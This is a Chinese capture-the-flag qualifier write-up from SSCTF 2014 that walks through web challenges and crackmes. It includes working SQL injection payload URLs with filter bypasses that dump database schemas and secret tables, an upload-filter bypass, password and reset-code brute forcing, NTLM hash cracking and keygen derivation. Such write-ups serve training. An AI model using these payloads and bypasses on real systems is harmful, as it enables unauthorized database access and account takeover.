SSCTF2014 QUAL WriteUp

经过两天的辛苦角逐 SSCTF线上赛完满结束 前6如下图 恭喜前10的队伍与选手进入决赛 安全脉搏的一支小分队也挺进了前三,前40的都有参与证书颁发哦~ 队友 蓝天白云 的确挺不错 第一个完成CM所有5题 ;之前天枢、BTC、PWD三组比较焦灼,SP隔壁老王和Sigma后来完成逆袭。

感觉四叶草的服务态度比较好,主要是服务器不太给力,下一季的程序肯定会完善很多,尤其在组队和找回密码,提交key和查看AC率方面。

期待接下来的西安线下决赛~各队加油~预祝各队取得好成绩~祝四叶草寻得优秀人才~

QQ20141104002838

 

 

 

 

 

 

 

 

下面是writeup ,非职业赛棍,不太会玩~大牛勿喷~CM 队友暂时没时间写 就写了个简单的思路 回头补上~

1 信息获取    (100 获取信息,提交key)

http://ctf.sobug.com/hack_game/e82b2db876111afd/index.php
QQ20141103204804

 

 

 

 

 

 

 

 

 

 

 

 

话说SP的老王直接拿下了FirstBlood,开启了所有参赛选手的SSCTF的旅程

关注到title为hex and cookie,那么估摸大概考察寻找hex,然后寻找cookie,总之是跟hex和cookie相关的都得留意

把这镶满巧克力的小甜饼图片下载回来 用不着其他团队那样找来找去 直接就可以看到标题和主题上有一长串,猜测为hex

QQ20141103204925

23696E636C7564652066696C653D22386630306232303465393830303939382E70687022

把上面hex去Hackbar hex2char一下得

#include file="8f00b204e9800998.php"

那么就访问一下http://ctf.sobug.com/hack_game/e82b2db876111afd/8f00b204e9800998.php

QQ20141103205731

 

 

看到Cookies=U0VjTDB2ZXJAMjAxNA==

Hackbar base64decode一下得

Key : SEcL0ver@2014

 

 2 慧眼识珠    (100  仔细查看页面,获取key )

右键看源码,发现很熟悉的Js,很多ctf都这样考

<script language="JavaScript" type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d

=k

||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k

){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k

)}}return p}('1.2="3=0";',4,4,'|document|cookie|check'.split('|'),0,{}))
</script>

于是console一下得"check=0",立马改cookie “check=1”,发现没用

QQ20141103212150

 

被坑了一会儿  学着图片上男人托着下巴 嘴里默念着“你刚才看见key了吗?你刚才看见key了吗?”

显然没看见 显然是我手拙不够快啊 那从题目列表点进来的时候就Burp一下吧 Repeater一下 Cookie改check=1 然后Go

20141103212653

 

看到 KEY: seCL0veR1H@CKz0l4

 

3   数据&暗语    (150  仔细查看页面获取你想要的key)

http://ctf.sobug.com/hack_game/f31c5630b00b0131/index.php

查看源码 得注释 <!--referer & code-->

显然这是个注释 不是个坑 才150分 谁会坑你呀

QQ20141103214057

 

被这描述坑的把seclover那个Wordpress的官网翻了个底朝天

[+]WordPress Version 3.8.4
Failed to get Full Path Disclosure !
[+] Enumerating plugins from passive detection ...
No plugins found :( 100%
1---->zu5rttqcxxuopomt
2---->admin

也曾首先搞过referer,不过被Hackbar的referer坑了好久 在Hackbar referer里面不管写http://www.seclover.com还是http://www.seclover.com/

最后结果都是http://www.seclover.com/   ;最后用了Modify Headers插件添加了一下referer

QQ20141103213553

 

继续来

恭 喜你,你那么聪明,某安全监控部门得到这样一段监控视频,某员工在偷偷摸摸使用Nokia老式手机拍照,完了又发送了一条短信,图像几番放大处理后却仅仅 看到他按键的顺序:{8430539047073256837093526630968}聪明的你能帮帮他们吗?

图片1

 

 

 

 

 

 

 

843 0 539 0 47 0 73256837 0 9352663 0 968
对应就是
the key is seclover welcome you

key:

seclover welcome you

 

4  代理和搜索       (150仔细查看页面,度娘知道答案哟)

 

虽然这次比赛是公开的,但是谷歌是检索不到的,为什么你知道吗?

这你在逗我吧,百度能搜到,谷歌搜不到,你真心在逗我;但是至少知道是robots里面限制了谷歌爬虫

http://ctf.sobug.com/hack_game/390532fb5dc7f219/robots.txt
User-agent: *
Disallow: /S$cL0ver/
Disallow: /include/

QQ20141102124918

 

添加referer和X-Forwarded-For没啥好说的

key: S2CloveRWelcomE_Y0u

 

5  编程&脚本    (200   编程解决问题)

 

描述太直白了 就是headers里面有个每次刷新都变的password,你把他md5(32,password)然后带上cookie Post一下就可以啦

QQ20141103222328

 

语言都无所谓啦 py最顺手 简单Poc

 

# /usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import urllib
import httplib
import hashlib
import re
url = 'http://ctf.sobug.com/hack_game/f8495eeedb8e92ee/index.php'
req=urllib2.Request(url)
c = urllib2.urlopen(req).info()
p=c['password']
cookie = c['set-cookie']
pp=(hashlib.md5(p).hexdigest())
parameters={
                'password':pp,
                'Submit':'确定'
                }
post=urllib.urlencode(parameters)
headers = {'Host':'ctf.sobug.com',
           'Proxy-Connection':'keep-alive',
           'Cache-Control':'max-age=0',
           'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
           'Origin':'http://ctf.sobug.com',
           'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36',
           'Content-Type':'application/x-www-form-urlencoded',
           'Referer':'http://ctf.sobug.com/hack_game/f8495eeedb8e92ee/index.php',
           'Cookie':cookie,
           'Accept-Encoding':'gzip,deflate',
           'Accept-Language':'zh-CN,zh;q=0.8',
           };    
conn = httplib.HTTPConnection("ctf.sobug.com");  
conn.request(method="POST",url="/hack_game/f8495eeedb8e92ee/index.php",body=post,headers=headers);       
response = conn.getresponse();
print re.search('key.*<',response.read()).group(0)[:-1]

你真厉害,那么快的闪躲都被你抓住了,这是你想要的</br>key:b7mIfekXA5lwLq

运行得key
key : b7mIfekXA5lwLq

 

6 windows密码   (150   Windows密码机制)

QQ20141101082423

 

看到 <title>相信你的直觉</title>  队友说的好 直觉是爆破口令,奶奶的,服务器貌似很不给力,2w+ rdp password爆破下来除了出现几个500服务器错误的外 啥也没爆到。
然后被坑到第二天下午  绞尽脑汁 想 这2个图片跟windows密码机制有啥关系

之前只知道size不一样 也没diff出啥具体不同来 后来 stegdetect 对两张图片进行检测,发现右边的图片用了 outguess 隐藏信息

密钥是admin

root@kali:~/Desktop# apt-get install outguess
......
root@kali:~/Desktop# outguess -k admin -r 20140226214226_r.jpg secpulse.txt
Reading 20140226214226_r.jpg....
Extracting usable bits: 10864 bits
Steg retrieve: seed: 191, len: 92
root@kali:~/Desktop# cat secpulse.txt
ed6c3eb3f56395a1f76ccb47241e3d88:0816f03b51a8ea50bcc7707896c93518
you can guess.what's this?

QQ20141103225933

 

 

 

 

 

 

 

 

 

 

 

 

ed6c3eb3f56395a1f76ccb47241e3d88:0816f03b51a8ea50bcc7707896c93518
大黑阔们一看就知道是NTLM hash 丢https://www.objectif-securite.ch/ophcrack.php

好吧 总算与题目windows密码扯上关系了~~也跟直觉(有经验者直接看出是NTLM,无经验者凭直觉?)扯上关系了
key : wangke1234

 

7 获取后台密码    (220     获取后台密码)

也就没啥好说的了 登陆需要验证码的 无法爆破 那就忘记密码吧 关注到源码里面  <title>逻辑漏洞2</title>

QQ20141101083708

四位验证码已发送至你手机?那目测就是4位纯数字了  可以快速爆破  服务器不给力 出现好多500混淆视听

QQ20141101191438

 

 

爆破得4位验证码是7244
提示password是 ad0mIn提交得flag{4297f44b13955235245b2497399d7a92}

QQ20141101185136

 

 

 

 

 

 

 

那么key : 4297f44b13955235245b2497399d7a92

 

8  U盘病毒      (300U盘病毒分析,获取key)

QQ20141101120838

 

 

 

 

 

 

 

 

 

 

我会告诉你下载回来的UP_BOOT.img可以直接rar么

QQ20141103231633

 

 

 

 

 

 

 

虚拟机里面运行1.exe释放出隐藏属性的test.txt文件 autorun.inf里面说了把test.txt字符去16位小写md5

key : a4620ba0298017b2

 

9   电报解码      (200  仔细查看页面获取key)

关注到title为  摩斯&language  把语言Accept-Language改成EN
你看见电报了吗?找到电报解码后,取16位MD5值作为key

QQ20141103232452

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

—··— ·· ·— —·/··· · —·—· ·—·· ——— ···— · ·—·/·—— · ·—·· —·—· ——— —— ·/—·—— ——— ··—/·—— ·/·— ·—· ·/···— · ·—· —·——/···· ·— ·——· ·——· —·——/··—· ——— ·—·/—·—— ——— ··—/

对着摩斯码表或者找个工具就翻译出来了:xian seclover welcome you we are very happy for you

取16位MD5值作为key
key : 80af6eac1fd2d165

 

10  SQL     (350  注入绕过)

http://ctf.sobug.com/hack_game/f9abf127da5264c1/index.php?id=1

先直接丢到SqlMap里面  能出database名称ctf0web  表一直暴不出来 加上猜测的前缀也没成功

QQ20141101143859

 

 

 

 

 

 

 

 

 

 

 

 

 

 

那就要手工绕过了 队友用and换成&&   用ascii一位一位的爆出来

http://ctf.sobug.com/hack_game/f9abf127da5264c1/?id=1%20%26%26/**/ascii(substring(flag,1,1))%3E107

赛后了解到其他小伙伴用Selec%00t代替select绕过的

http://lab.seclover.com/hack_game/f9abf127da5264c1/index.php?id=1%20union%20sele%00ct%
201,flag,3%20from%20helloctf

QQ20141103233413

 

 

 

 

 

思路不错

key : 5e1325ba32f012c77f02c422251c3b7c

 

11   upload       (200    按题目要求完成)

换各种各种的后缀 各种改Content-Type测试 貌似都没成功 各种错误提示

最后依靠大写后缀名绕过

filename="1.PHP"
Content-Type: image/jpeg

QQ20141101140548

The key is : KunSecLover2@14

 

 

12  SQL  (500 找找看看,有洞哟)

看到SQL 那肯定是注入了 资深安全工程师敏锐的嗅觉 直接搜索形注入

顺便也跑了一下结构 怕被猫腻了

http://ctf.sobug.com/hack_game/8f0784928387928a/admin/index.php
http://ctf.sobug.com/hack_game/8f0784928387928a/config.php
http://ctf.sobug.com/hack_game/8f0784928387928a/content/
http://ctf.sobug.com/hack_game/8f0784928387928a/search.php

http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse&tongpeifu=*&sqltongpei=%25
搜索得知是ecshop曾经爆出的一个漏洞。

相当于执行了语句Str_replace($tongpeifu,$sqltongpei,$word),即将word中tongpeifu代表位置用sqltongpei替换。

' =>\'
"=>\"
\ => \\
%00 =>\0

那么怎样进行替换,才会使单引号逃逸出来?

\\\0\’ or 1=1#
然后再经过通配符转换变成:
\\\\’ or 1=1#

不多说 直接上sql语句

查数据库
http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,schema_name,3,4 from information_schema.schemata where 1 %23&tongpeifu=\0&sqltongpei=\

information_schema
sql_seclover

查表
http://ctf.sobug.com//hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,table_name,3,4 from information_schema.tables where table_schema=0x73716C5F7365636C6F766572 %23&tongpeifu=\0&sqltongpei=\

admin
content
secret

查字段
http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,column_name,3,4 from information_schema.columns where table_name=0x736563726574 %23&tongpeifu=\0&sqltongpei=\

sid
skey

查key
http://ctf.sobug.com/hack_game/8f0784928387928a/search.php?word=secpulse\%00' union select 1,skey,3,4 from secret%23&tongpeifu=\0&sqltongpei=\

祝贺你,你还真厉害。key又被你拿到,这只是个小小的监测,我们在四叶草欢迎你!!
key{Seclover W@1C0me ^u0}

 

key  Seclover W@1C0me ^u0

 

一、CrackMe1

http://ctf.sobug.com/crackme/b4dc971ef90cb6ae/CrackMe1.rar

算法很简单,就是对用户名进行异或 这段是要异或的数据

QQ20141104001538

 

 

 

 

 

QQ20141101095633

 

二、CrackMe2

http://ctf.sobug.com/crackme/82a7d5ac894e5bb8/CrackMe2.rar

 用户名加上joke on 401005的md5 

QQ20141102163054

 

三、CrackMe3

逆向分析,查水表

http://ctf.sobug.com/crackme/e26cac7bac3f78c1/CrackMe3.rar

QQ20141102135549

 

 鼠标左右键组合48个,最终算出查水表就可出发后门 

 

四、CrackMe4

输入正确的密码,会释放出文件。key就在文件中。 tips:第一层密码为6为纯数字,第二层密码也是6位。
http://ctf.sobug.com/crackme/820af53738bfa68e/CrackMe4.rar

 

 第四题根据pe头和gif头即可以算出对应的key,最终的flag就在生成的图片中 

 

五、CrackMe5

逆向分析提交报告

http://ctf.sobug.com/crackme/02de861ff6b52930/CrackMe5.rar

 

可用的注册码
user: SecPulse_oldwan
key :  679763

QQ20141102173043

 

 

 

 

 

 

 

分析过程:
在异常这里记录EDX, 如果EDX指向的地址是CC则继续,否则则记录相关指令
00401416    8996 B8000000   mov     dword ptr [esi+0xB8], edx        ; CrackMe.00401654

记录完后大概如下
用户名计算
00401947   .  0FBE50 FE     movsx   edx, byte ptr [eax-0x2]
0040194B   .  48            dec     eax
0040194C   .  03DA          add     ebx, edx
00401994   .  8D149B        lea     edx, dword ptr [ebx+ebx*4]
00401997   .  8D14D3        lea     edx, dword ptr [ebx+edx*8]
0040199A   .  8D1C52        lea     ebx, dword ptr [edx+edx*2]
004019E4   .  8818          mov     byte ptr [eax], bl
00401A22   .  81F3 3A45AC14 xor     ebx, 0x14AC453A
00401A66   .  0018          add     byte ptr [eax], bl
00401AA1   .  8D1401        lea     edx, dword ptr [ecx+eax]
00401AA4   .  85D2          test    edx, edx
00401AA6   .^ 0F8F 52FEFFFF jg      004018FE
00401B96   .  0FBE50 FE     movsx   edx, byte ptr [eax-0x2]
00401B9A   .  48            dec     eax
00401B9B   .  03DA          add     ebx, edx
00401BD6   .  8D149B        lea     edx, dword ptr [ebx+ebx*4]
00401BD9   .  8D14D3        lea     edx, dword ptr [ebx+edx*8]
00401BDC   .  8D1C52        lea     ebx, dword ptr [edx+edx*2]
00401C2F   .  8818          mov     byte ptr [eax], bl
00401C6C   .  81E3 46A554A4 and     ebx, 0xA454A546
00401CAE   .  0018          add     byte ptr [eax], bl
00401CF8   .  8D1408        lea     edx, dword ptr [eax+ecx]
00401CFB   .  85D2          test    edx, edx
00401CFD   .^ 0F8F 41FEFFFF jg      00401B44
00401DDC   .  0FBE50 FE     movsx   edx, byte ptr [eax-0x2]
00401DE0   .  48            dec     eax
00401DE1   .  03DA          add     ebx, edx
00401E27   .  8D149B        lea     edx, dword ptr [ebx+ebx*4]
00401E2A   .  8D14D3        lea     edx, dword ptr [ebx+edx*8]
00401E2D   .  8D1C52        lea     ebx, dword ptr [edx+edx*2]
00401E75   .  8818          mov     byte ptr [eax], bl
00401ECD   .  81CB 37214715 or      ebx, 0x15472137
00401F0A   .  0018          add     byte ptr [eax], bl
00401F4E   .  8D1408        lea     edx, dword ptr [eax+ecx]
00401F51   .  85D2          test    edx, edx
00401F53   .^ 0F8F 3BFEFFFF jg      00401D94
00401F9E   .  8BC3          mov     eax, ebx
00401FA0   .  33D2          xor     edx, edx
00401FA2   .  B9 1F011500   mov     ecx, 0x15011F
00401FA7   .  F7F1          div     ecx
00401FA9   .  8BDA          mov     ebx, edx

注册码
004021A6   .  0FBE42 FE     movsx   eax, byte ptr [edx-0x2]
004021AA   .  4A            dec     edx
004021AB   .  8D0C89        lea     ecx, dword ptr [ecx+ecx*4]
004021AE   .  8D4C48 D0     lea     ecx, dword ptr [eax+ecx*2-0x30]
004021F9   .  880A          mov     byte ptr [edx], cl
00402245   .  8D0432        lea     eax, dword ptr [edx+esi]
00402248   .  85C0          test    eax, eax
0040224A   .^ 0F8F CAFEFFFF jg      0040211A

比较结果
00402290    3BD9            cmp     ebx, ecx
00402292    75 17           jnz     short 004022AB
00402294    6A 00           push    0x0                              ; (initial cpu selection)
00402296    6A 00           push    0x0
00402298    68 20404000     push    00404020                         ; 注册成功!
0040229D    8BCF            mov     ecx, edi
0040229F    E8 14040000     call    <jmp.&MFC42.#4224>
004022A4    5F              pop     edi
004022A5    5E              pop     esi
004022A6    5B              pop     ebx
004022A7    8BE5            mov     esp, ebp
004022A9    5D              pop     ebp

可以看出是从后向前取取10进制的数,用户名SecPulse_oldwan
计算的结果是0x00059D68,10进制就是367976, 反过来就是679763

 

 

【安全脉搏:分享技术、悦享品质。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

1条评论

评论加载中,请稍等...
  • Pis  回复

    来学习了 祝决赛取得好成绩

昵称*

邮箱*

网址

友情链接

合作伙伴